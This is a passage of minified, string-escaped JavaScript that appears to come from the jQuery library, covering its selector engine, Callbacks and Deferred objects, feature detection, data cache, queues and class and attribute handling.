e.getAttribute(\"id\")===t}}):(delete i.find.ID,i.filter.ID=function(e){var t=e.replace(nt,rt);return function(e){var n=typeof e.getAttributeNode!==j&&e.getAttributeNode(\"id\");return n&&n.value===t}}),i.find.TAG=n.getElementsByTagName?function(e,t){return typeof t.getElementsByTagName!==j?t.getElementsByTagName(e):undefined}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if(\"*\"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},i.find.CLASS=n.getElementsByClassName&&function(e,t){return typeof t.getElementsByClassName!==j&&h?t.getElementsByClassName(e):undefined},g=[],d=[],(n.qsa=Q.test(t.querySelectorAll))&&(ut(function(e){e.innerHTML=\"<select><option selected=''></option></select>\",e.querySelectorAll(\"[selected]\").length||d.push(\"\\\\[\"+M+\"*(?:value|\"+R+\")\"),e.querySelectorAll(\":checked\").length||d.push(\":checked\")}),ut(function(e){var n=t.createElement(\"input\");n.setAttribute(\"type\",\"hidden\"),e.appendChild(n).setAttribute(\"t\",\"\"),e.querySelectorAll(\"[t^='']\").length&&d.push(\"[*^$]=\"+M+\"*(?:''|\\\"\\\")\"),e.querySelectorAll(\":enabled\").length||d.push(\":enabled\",\":disabled\"),e.querySelectorAll(\"*,:x\"),d.push(\",.*:\")})),(n.matchesSelector=Q.test(m=f.webkitMatchesSelector||f.mozMatchesSelector||f.oMatchesSelector||f.msMatchesSelector))&&ut(function(e){n.disconnectedMatch=m.call(e,\"div\"),m.call(e,\"[s!='']:x\"),g.push(\"!=\",I)}),d=d.length&&RegExp(d.join(\"|\")),g=g.length&&RegExp(g.join(\"|\")),y=Q.test(f.contains)||f.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},S=f.compareDocumentPosition?function(e,r){if(e===r)return E=!0,0;var i=r.compareDocumentPosition&&e.compareDocumentPosition&&e.compareDocumentPosition(r);return i?1&i||!n.sortDetached&&r.compareDocumentPosition(e)===i?e===t||y(b,e)?-1:r===t||y(b,r)?1:l?P.call(l,e)-P.call(l,r):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,n){var r,i=0,o=e.parentNode,s=n.parentNode,a=[e],u=[n];if(e===n)return E=!0,0;if(!o||!s)return e===t?-1:n===t?1:o?-1:s?1:l?P.call(l,e)-P.call(l,n):0;if(o===s)return ct(e,n);r=e;while(r=r.parentNode)a.unshift(r);r=n;while(r=r.parentNode)u.unshift(r);while(a[i]===u[i])i++;return i?ct(a[i],u[i]):a[i]===b?-1:u[i]===b?1:0},t):p},ot.matches=function(e,t){return ot(e,null,null,t)},ot.matchesSelector=function(e,t){if((e.ownerDocument||e)!==p&&c(e),t=t.replace(Y,\"='$1']\"),!(!n.matchesSelector||!h||g&&g.test(t)||d&&d.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return ot(t,p,null,[e]).length>0},ot.contains=function(e,t){return(e.ownerDocument||e)!==p&&c(e),y(e,t)},ot.attr=function(e,t){(e.ownerDocument||e)!==p&&c(e);var r=i.attrHandle[t.toLowerCase()],o=r&&A.call(i.attrHandle,t.toLowerCase())?r(e,t,!h):undefined;return o===undefined?n.attributes||!h?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null:o},ot.error=function(e){throw Error(\"Syntax error, unrecognized expression: \"+e)},ot.uniqueSort=function(e){var t,r=[],i=0,o=0;if(E=!n.detectDuplicates,l=!n.sortStable&&e.slice(0),e.sort(S),E){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return e},o=ot.getText=function(e){var t,n=\"\",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if(\"string\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r];r++)n+=o(t);return n},i=ot.selectors={cacheLength:50,createPseudo:at,match:J,attrHandle:{},find:{},relative:{\">\":{dir:\"parentNode\",first:!0},\" \":{dir:\"parentNode\"},\"+\":{dir:\"previousSibling\",first:!0},\"~\":{dir:\"previousSibling\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(nt,rt),e[3]=(e[4]||e[5]||\"\").replace(nt,rt),\"~=\"===e[2]&&(e[3]=\" \"+e[3]+\" \"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\"nth\"===e[1].slice(0,3)?(e[3]||ot.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\"even\"===e[3]||\"odd\"===e[3])),e[5]=+(e[7]+e[8]||\"odd\"===e[3])):e[3]&&ot.error(e[0]),e},PSEUDO:function(e){var t,n=!e[5]&&e[2];return J.CHILD.test(e[0])?null:(e[3]&&e[4]!==undefined?e[2]=e[4]:n&&V.test(n)&&(t=gt(n,!0))&&(t=n.indexOf(\")\",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(nt,rt).toLowerCase();return\"*\"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=C[e+\" \"];return t||(t=RegExp(\"(^|\"+M+\")\"+e+\"(\"+M+\"|$)\"))&&C(e,function(e){return t.test(\"string\"==typeof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute(\"class\")||\"\")})},ATTR:function(e,t,n){return function(r){var i=ot.attr(r,e);return null==i?\"!=\"===t:t?(i+=\"\",\"=\"===t?i===n:\"!=\"===t?i!==n:\"^=\"===t?n&&0===i.indexOf(n):\"*=\"===t?n&&i.indexOf(n)>-1:\"$=\"===t?n&&i.slice(-n.length)===n:\"~=\"===t?(\" \"+i+\" \").indexOf(n)>-1:\"|=\"===t?i===n||i.slice(0,n.length+1)===n+\"-\":!1):!0}},CHILD:function(e,t,n,r,i){var o=\"nth\"!==e.slice(0,3),s=\"last\"!==e.slice(-4),a=\"of-type\"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,p,f,h,d,g=o!==s?\"nextSibling\":\"previousSibling\",m=t.parentNode,y=a&&t.nodeName.toLowerCase(),x=!u&&!a;if(m){if(o){while(g){p=t;while(p=p[g])if(a?p.nodeName.toLowerCase()===y:1===p.nodeType)return!1;d=g=\"only\"===e&&!d&&\"nextSibling\"}return!0}if(d=[s?m.firstChild:m.lastChild],s&&x){c=m[v]||(m[v]={}),l=c[e]||[],h=l[0]===w&&l[1],f=l[0]===w&&l[2],p=h&&m.childNodes[h];while(p=++h&&p&&p[g]||(f=h=0)||d.pop())if(1===p.nodeType&&++f&&p===t){c[e]=[w,h,f];break}}else if(x&&(l=(t[v]||(t[v]={}))[e])&&l[0]===w)f=l[1];else while(p=++h&&p&&p[g]||(f=h=0)||d.pop())if((a?p.nodeName.toLowerCase()===y:1===p.nodeType)&&++f&&(x&&((p[v]||(p[v]={}))[e]=[w,f]),p===t))break;return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||ot.error(\"unsupported pseudo: \"+e);return r[v]?r(t):r.length>1?(n=[e,e,\"\",t],i.setFilters.hasOwnProperty(e.toLowerCase())?at(function(e,n){var i,o=r(e,t),s=o.length;while(s--)i=P.call(e,o[s]),e[i]=!(n[i]=o[s])}):function(e){return r(e,0,n)}):r}},pseudos:{not:at(function(e){var t=[],n=[],r=a(e.replace(z,\"$1\"));return r[v]?at(function(e,t,n,i){var o,s=r(e,null,i,[]),a=e.length;while(a--)(o=s[a])&&(e[a]=!(t[a]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:at(function(e){return function(t){return ot(e,t).length>0}}),contains:at(function(e){return function(t){return(t.textContent||t.innerText||o(t)).indexOf(e)>-1}}),lang:at(function(e){return G.test(e||\"\")||ot.error(\"unsupported lang: \"+e),e=e.replace(nt,rt).toLowerCase(),function(t){var n;do if(n=h?t.lang:t.getAttribute(\"xml:lang\")||t.getAttribute(\"lang\"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+\"-\");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===f},focus:function(e){return e===p.activeElement&&(!p.hasFocus||p.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&!!e.checked||\"option\"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeName>\"@\"||3===e.nodeType||4===e.nodeType)return!1;return!0},parent:function(e){return!i.pseudos.empty(e)},header:function(e){return et.test(e.nodeName)},input:function(e){return Z.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return\"input\"===t&&\"button\"===e.type||\"button\"===t},text:function(e){var t;return\"input\"===e.nodeName.toLowerCase()&&\"text\"===e.type&&(null==(t=e.getAttribute(\"type\"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n+t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n+=2)e.push(n);return e}),odd:ht(function(e,t){var n=1;for(;t>n;n+=2)e.push(n);return e}),lt:ht(function(e,t,n){var r=0>n?n+t:n;for(;--r>=0;)e.push(r);return e}),gt:ht(function(e,t,n){var r=0>n?n+t:n;for(;t>++r;)e.push(r);return e})}},i.pseudos.nth=i.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})i.pseudos[t]=pt(t);for(t in{submit:!0,reset:!0})i.pseudos[t]=ft(t);function dt(){}dt.prototype=i.filters=i.pseudos,i.setFilters=new dt;function gt(e,t){var n,r,o,s,a,u,l,c=k[e+\" \"];if(c)return t?0:c.slice(0);a=e,u=[],l=i.preFilter;while(a){(!n||(r=_.exec(a)))&&(r&&(a=a.slice(r[0].length)||a),u.push(o=[])),n=!1,(r=X.exec(a))&&(n=r.shift(),o.push({value:n,type:r[0].replace(z,\" \")}),a=a.slice(n.length));for(s in i.filter)!(r=J[s].exec(a))||l[s]&&!(r=l[s](r))||(n=r.shift(),o.push({value:n,type:s,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?ot.error(e):k(e,u).slice(0)}function mt(e){var t=0,n=e.length,r=\"\";for(;n>t;t++)r+=e[t].value;return r}function yt(e,t,n){var i=t.dir,o=n&&\"parentNode\"===i,s=T++;return t.first?function(t,n,r){while(t=t[i])if(1===t.nodeType||o)return e(t,n,r)}:function(t,n,a){var u,l,c,p=w+\" \"+s;if(a){while(t=t[i])if((1===t.nodeType||o)&&e(t,n,a))return!0}else while(t=t[i])if(1===t.nodeType||o)if(c=t[v]||(t[v]={}),(l=c[i])&&l[0]===p){if((u=l[1])===!0||u===r)return u===!0}else if(l=c[i]=[p],l[1]=e(t,n,a)||r,l[1]===!0)return!0}}function vt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xt(e,t,n,r,i){var o,s=[],a=0,u=e.length,l=null!=t;for(;u>a;a++)(o=e[a])&&(!n||n(o,r,i))&&(s.push(o),l&&t.push(a));return s}function bt(e,t,n,r,i,o){return r&&!r[v]&&(r=bt(r)),i&&!i[v]&&(i=bt(i,o)),at(function(o,s,a,u){var l,c,p,f=[],h=[],d=s.length,g=o||Ct(t||\"*\",a.nodeType?[a]:a,[]),m=!e||!o&&t?g:xt(g,f,e,a,u),y=n?i||(o?e:d||r)?[]:s:m;if(n&&n(m,y,a,u),r){l=xt(y,h),r(l,[],a,u),c=l.length;while(c--)(p=l[c])&&(y[h[c]]=!(m[h[c]]=p))}if(o){if(i||e){if(i){l=[],c=y.length;while(c--)(p=y[c])&&l.push(m[c]=p);i(null,y=[],l,u)}c=y.length;while(c--)(p=y[c])&&(l=i?P.call(o,p):f[c])>-1&&(o[l]=!(s[l]=p))}}else y=xt(y===s?y.splice(d,y.length):y),i?i(null,s,y,u):O.apply(s,y)})}function wt(e){var t,n,r,o=e.length,s=i.relative[e[0].type],a=s||i.relative[\" \"],l=s?1:0,c=yt(function(e){return e===t},a,!0),p=yt(function(e){return P.call(t,e)>-1},a,!0),f=[function(e,n,r){return!s&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;o>l;l++)if(n=i.relative[e[l].type])f=[yt(vt(f),n)];else{if(n=i.filter[e[l].type].apply(null,e[l].matches),n[v]){for(r=++l;o>r;r++)if(i.relative[e[r].type])break;return bt(l>1&&vt(f),l>1&&mt(e.slice(0,l-1).concat({value:\" \"===e[l-2].type?\"*\":\"\"})).replace(z,\"$1\"),n,r>l&&wt(e.slice(l,r)),o>r&&wt(e=e.slice(r)),o>r&&mt(e))}f.push(n)}return vt(f)}function Tt(e,t){var n=0,o=t.length>0,s=e.length>0,a=function(a,l,c,f,h){var d,g,m,y=[],v=0,x=\"0\",b=a&&[],T=null!=h,C=u,k=a||s&&i.find.TAG(\"*\",h&&l.parentNode||l),N=w+=null==C?1:Math.random()||.1;for(T&&(u=l!==p&&l,r=n);null!=(d=k[x]);x++){if(s&&d){g=0;while(m=e[g++])if(m(d,l,c)){f.push(d);break}T&&(w=N,r=++n)}o&&((d=!m&&d)&&v--,a&&b.push(d))}if(v+=x,o&&x!==v){g=0;while(m=t[g++])m(b,y,l,c);if(a){if(v>0)while(x--)b[x]||y[x]||(y[x]=q.call(f));y=xt(y)}O.apply(f,y),T&&!a&&y.length>0&&v+t.length>1&&ot.uniqueSort(f)}return T&&(w=N,u=C),b};return o?at(a):a}a=ot.compile=function(e,t){var n,r=[],i=[],o=N[e+\" \"];if(!o){t||(t=gt(e)),n=t.length;while(n--)o=wt(t[n]),o[v]?r.push(o):i.push(o);o=N(e,Tt(i,r))}return o};function Ct(e,t,n){var r=0,i=t.length;for(;i>r;r++)ot(e,t[r],n);return n}function kt(e,t,r,o){var s,u,l,c,p,f=gt(e);if(!o&&1===f.length){if(u=f[0]=f[0].slice(0),u.length>2&&\"ID\"===(l=u[0]).type&&n.getById&&9===t.nodeType&&h&&i.relative[u[1].type]){if(t=(i.find.ID(l.matches[0].replace(nt,rt),t)||[])[0],!t)return r;e=e.slice(u.shift().value.length)}s=J.needsContext.test(e)?0:u.length;while(s--){if(l=u[s],i.relative[c=l.type])break;if((p=i.find[c])&&(o=p(l.matches[0].replace(nt,rt),U.test(u[0].type)&&t.parentNode||t))){if(u.splice(s,1),e=o.length&&mt(u),!e)return O.apply(r,o),r;break}}}return a(e,f)(o,t,!h,r,U.test(e)),r}n.sortStable=v.split(\"\").sort(S).join(\"\")===v,n.detectDuplicates=E,c(),n.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(p.createElement(\"div\"))}),ut(function(e){return e.innerHTML=\"<a href='#'></a>\",\"#\"===e.firstChild.getAttribute(\"href\")})||lt(\"type|href|height|width\",function(e,t,n){return n?undefined:e.getAttribute(t,\"type\"===t.toLowerCase()?1:2)}),n.attributes&&ut(function(e){return e.innerHTML=\"<input/>\",e.firstChild.setAttribute(\"value\",\"\"),\"\"===e.firstChild.getAttribute(\"value\")})||lt(\"value\",function(e,t,n){return n||\"input\"!==e.nodeName.toLowerCase()?undefined:e.defaultValue}),ut(function(e){return null==e.getAttribute(\"disabled\")})||lt(R,function(e,t,n){var r;return n?undefined:(r=e.getAttributeNode(t))&&r.specified?r.value:e[t]===!0?t.toLowerCase():null}),x.find=ot,x.expr=ot.selectors,x.expr[\":\"]=x.expr.pseudos,x.unique=ot.uniqueSort,x.text=ot.getText,x.isXMLDoc=ot.isXML,x.contains=ot.contains}(e);var D={};function A(e){var t=D[e]={};return x.each(e.match(w)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e=\"string\"==typeof e?D[e]||A(e):x.extend({},e);var t,n,r,i,o,s,a=[],u=!e.once&&[],l=function(p){for(t=e.memory&&p,n=!0,s=i||0,i=0,o=a.length,r=!0;a&&o>s;s++)if(a[s].apply(p[0],p[1])===!1&&e.stopOnFalse){t=!1;break}r=!1,a&&(u?u.length&&l(u.shift()):t?a=[]:c.disable())},c={add:function(){if(a){var n=a.length;(function s(t){x.each(t,function(t,n){var r=x.type(n);\"function\"===r?e.unique&&c.has(n)||a.push(n):n&&n.length&&\"string\"!==r&&s(n)})})(arguments),r?o=a.length:t&&(i=n,l(t))}return this},remove:function(){return a&&x.each(arguments,function(e,t){var n;while((n=x.inArray(t,a,n))>-1)a.splice(n,1),r&&(o>=n&&o--,s>=n&&s--)}),this},has:function(e){return e?x.inArray(e,a)>-1:!(!a||!a.length)},empty:function(){return a=[],o=0,this},disable:function(){return a=u=t=undefined,this},disabled:function(){return!a},lock:function(){return u=undefined,t||c.disable(),this},locked:function(){return!u},fireWith:function(e,t){return!a||n&&!u||(t=t||[],t=[e,t.slice?t.slice():t],r?u.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!n}};return c},x.extend({Deferred:function(e){var t=[[\"resolve\",\"done\",x.Callbacks(\"once memory\"),\"resolved\"],[\"reject\",\"fail\",x.Callbacks(\"once memory\"),\"rejected\"],[\"notify\",\"progress\",x.Callbacks(\"memory\")]],n=\"pending\",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var s=o[0],a=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+\"With\"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var s=o[2],a=o[3];r[o[1]]=s.add,a&&s.add(function(){n=a},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+\"With\"](this===i?r:this,arguments),this},i[o[0]+\"With\"]=s.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=d.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),s=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?d.call(arguments):r,n===a?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},a,u,l;if(r>1)for(a=Array(r),u=Array(r),l=Array(r);r>t;t++)n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(s(t,l,n)).fail(o.reject).progress(s(t,u,a)):--i;return i||o.resolveWith(l,n),o.promise()}}),x.support=function(t){var n=o.createElement(\"input\"),r=o.createDocumentFragment(),i=o.createElement(\"div\"),s=o.createElement(\"select\"),a=s.appendChild(o.createElement(\"option\"));return n.type?(n.type=\"checkbox\",t.checkOn=\"\"!==n.value,t.optSelected=a.selected,t.reliableMarginRight=!0,t.boxSizingReliable=!0,t.pixelPosition=!1,n.checked=!0,t.noCloneChecked=n.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!a.disabled,n=o.createElement(\"input\"),n.value=\"t\",n.type=\"radio\",t.radioValue=\"t\"===n.value,n.setAttribute(\"checked\",\"t\"),n.setAttribute(\"name\",\"t\"),r.appendChild(n),t.checkClone=r.cloneNode(!0).cloneNode(!0).lastChild.checked,t.focusinBubbles=\"onfocusin\"in e,i.style.backgroundClip=\"content-box\",i.cloneNode(!0).style.backgroundClip=\"\",t.clearCloneStyle=\"content-box\"===i.style.backgroundClip,x(function(){var n,r,s=\"padding:0;margin:0;border:0;display:block;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box\",a=o.getElementsByTagName(\"body\")[0];a&&(n=o.createElement(\"div\"),n.style.cssText=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px\",a.appendChild(n).appendChild(i),i.innerHTML=\"\",i.style.cssText=\"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%\",x.swap(a,null!=a.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===i.offsetWidth}),e.getComputedStyle&&(t.pixelPosition=\"1%\"!==(e.getComputedStyle(i,null)||{}).top,t.boxSizingReliable=\"4px\"===(e.getComputedStyle(i,null)||{width:\"4px\"}).width,r=i.appendChild(o.createElement(\"div\")),r.style.cssText=i.style.cssText=s,r.style.marginRight=r.style.width=\"0\",i.style.width=\"1px\",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),a.removeChild(n))}),t):t}({});var L,q,H=/(?:\\{[\\s\\S]*\\}|\\[[\\s\\S]*\\])$/,O=/([A-Z])/g;function F(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=x.expando+Math.random()}F.uid=1,F.accepts=function(e){return e.nodeType?1===e.nodeType||9===e.nodeType:!0},F.prototype={key:function(e){if(!F.accepts(e))return 0;var t={},n=e[this.expando];if(!n){n=F.uid++;try{t[this.expando]={value:n},Object.defineProperties(e,t)}catch(r){t[this.expando]=n,x.extend(e,t)}}return this.cache[n]||(this.cache[n]={}),n},set:function(e,t,n){var r,i=this.key(e),o=this.cache[i];if(\"string\"==typeof t)o[t]=n;else if(x.isEmptyObject(o))x.extend(this.cache[i],t);else for(r in t)o[r]=t[r];return o},get:function(e,t){var n=this.cache[this.key(e)];return t===undefined?n:n[t]},access:function(e,t,n){var r;return t===undefined||t&&\"string\"==typeof t&&n===undefined?(r=this.get(e,t),r!==undefined?r:this.get(e,x.camelCase(t))):(this.set(e,t,n),n!==undefined?n:t)},remove:function(e,t){var n,r,i,o=this.key(e),s=this.cache[o];if(t===undefined)this.cache[o]={};else{x.isArray(t)?r=t.concat(t.map(x.camelCase)):(i=x.camelCase(t),t in s?r=[t,i]:(r=i,r=r in s?[r]:r.match(w)||[])),n=r.length;while(n--)delete s[r[n]]}},hasData:function(e){return!x.isEmptyObject(this.cache[e[this.expando]]||{})},discard:function(e){e[this.expando]&&delete this.cache[e[this.expando]]}},L=new F,q=new F,x.extend({acceptData:F.accepts,hasData:function(e){return L.hasData(e)||q.hasData(e)},data:function(e,t,n){return L.access(e,t,n)},removeData:function(e,t){L.remove(e,t)},_data:function(e,t,n){return q.access(e,t,n)},_removeData:function(e,t){q.remove(e,t)}}),x.fn.extend({data:function(e,t){var n,r,i=this[0],o=0,s=null;if(e===undefined){if(this.length&&(s=L.get(i),1===i.nodeType&&!q.get(i,\"hasDataAttrs\"))){for(n=i.attributes;n.length>o;o++)r=n[o].name,0===r.indexOf(\"data-\")&&(r=x.camelCase(r.slice(5)),P(i,r,s[r]));q.set(i,\"hasDataAttrs\",!0)}return s}return\"object\"==typeof e?this.each(function(){L.set(this,e)}):x.access(this,function(t){var n,r=x.camelCase(e);if(i&&t===undefined){if(n=L.get(i,e),n!==undefined)return n;if(n=L.get(i,r),n!==undefined)return n;if(n=P(i,r,undefined),n!==undefined)return n}else this.each(function(){var n=L.get(this,r);L.set(this,r,t),-1!==e.indexOf(\"-\")&&n!==undefined&&L.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){L.remove(this,e)})}});function P(e,t,n){var r;if(n===undefined&&1===e.nodeType)if(r=\"data-\"+t.replace(O,\"-$1\").toLowerCase(),n=e.getAttribute(r),\"string\"==typeof n){try{n=\"true\"===n?!0:\"false\"===n?!1:\"null\"===n?null:+n+\"\"===n?+n:H.test(n)?JSON.parse(n):n}catch(i){}L.set(e,t,n)}else n=undefined;return n}x.extend({queue:function(e,t,n){var r;return e?(t=(t||\"fx\")+\"queue\",r=q.get(e,t),n&&(!r||x.isArray(n)?r=q.access(e,t,x.makeArray(n)):r.push(n)),r||[]):undefined},dequeue:function(e,t){t=t||\"fx\";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),s=function(){x.dequeue(e,t)\n};\"inprogress\"===i&&(i=n.shift(),r--),i&&(\"fx\"===t&&n.unshift(\"inprogress\"),delete o.stop,i.call(e,s,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+\"queueHooks\";return q.get(e,n)||q.access(e,n,{empty:x.Callbacks(\"once memory\").add(function(){q.remove(e,[t+\"queue\",n])})})}}),x.fn.extend({queue:function(e,t){var n=2;return\"string\"!=typeof e&&(t=e,e=\"fx\",n--),n>arguments.length?x.queue(this[0],e):t===undefined?this:this.each(function(){var n=x.queue(this,e,t);x._queueHooks(this,e),\"fx\"===e&&\"inprogress\"!==n[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||\"fx\",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||\"fx\",[])},promise:function(e,t){var n,r=1,i=x.Deferred(),o=this,s=this.length,a=function(){--r||i.resolveWith(o,[o])};\"string\"!=typeof e&&(t=e,e=undefined),e=e||\"fx\";while(s--)n=q.get(o[s],e+\"queueHooks\"),n&&n.empty&&(r++,n.empty.add(a));return a(),i.promise(t)}});var R,M,W=/[\\t\\r\\n\\f]/g,$=/\\r/g,B=/^(?:input|select|textarea|button)$/i;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[x.propFix[e]||e]})},addClass:function(e){var t,n,r,i,o,s=0,a=this.length,u=\"string\"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.call(this,t,this.className))});if(u)for(t=(e||\"\").match(w)||[];a>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(\" \"+n.className+\" \").replace(W,\" \"):\" \")){o=0;while(i=t[o++])0>r.indexOf(\" \"+i+\" \")&&(r+=i+\" \");n.className=x.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,s=0,a=this.length,u=0===arguments.length||\"string\"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))});if(u)for(t=(e||\"\").match(w)||[];a>s;s++)if(n=this[s],r=1===n.nodeType&&(n.className?(\" \"+n.className+\" \").replace(W,\" \"):\"\")){o=0;while(i=t[o++])while(r.indexOf(\" \"+i+\" \")>=0)r=r.replace(\" \"+i+\" \",\" \");n.className=e?x.trim(r):\"\"}return this},toggleClass:function(e,t){var n=typeof e;return\"boolean\"==typeof t&&\"string\"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(\"string\"===n){var t,i=0,o=x(this),s=e.match(w)||[];while(t=s[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else(n===r||\"boolean\"===n)&&(this.className&&q.set(this,\"__className__\",this.className),this.className=this.className||e===!1?\"\":q.get(this,\"__className__\")||\"\")})},hasClass:function(e){var t=\" \"+e+\" \",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(\" \"+this[n].className+\" \").replace(W,\" \").indexOf(t)>=0)return!0;return!1},val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=x.isFunction(e),this.each(function(n){var i;1===this.nodeType&&(i=r?e.call(this,n,x(this).val()):e,null==i?i=\"\":\"number\"==typeof i?i+=\"\":x.isArray(i)&&(i=x.map(i,function(e){return null==e?\"\":e+\"\"})),t=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],t&&\"set\"in t&&t.set(this,i,\"value\")!==undefined||(this.value=i))});if(i)return t=x.valHooks[i.type]||x.valHooks[i.nodeName.toLowerCase()],t&&\"get\"in t&&(n=t.get(i,\"value\"))!==undefined?n:(n=i.value,\"string\"==typeof n?n.replace($,\"\"):null==n?\"\":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o=\"select-one\"===e.type||0>i,s=o?null:[],a=o?i+1:r.length,u=0>i?a:o?i:0;for(;a>u;u++)if(n=r[u],!(!n.selected&&u!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute(\"disabled\"))||n.parentNode.disabled&&x.nodeName(n.parentNode,\"optgroup\"))){if(t=x(n).val(),o)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),s=i.length;while(s--)r=i[s],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0);return n||(e.selectedIndex=-1),o}}},attr:function(e,t,n){var i,o,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return typeof e.getAttribute===r?x.prop(e,t,n):(1===s&&x.isXMLDoc(e)||(t=t.toLowerCase(),i=x.attrHooks[t]||(x.expr.match.bool.test(t)?M:R)),n===undefined?i&&\"get\"in i&&null!==(o=i.get(e,t))?o:(o=x.find.attr(e,t),null==o?undefined:o):null!==n?i&&\"set\"in i&&(o=i.set(e,n,t))!==undefined?o:(e.setAttribute(t,n+\"\"),n):(x.removeAttr(e,t),undefined))},removeAttr:function(e,t){var 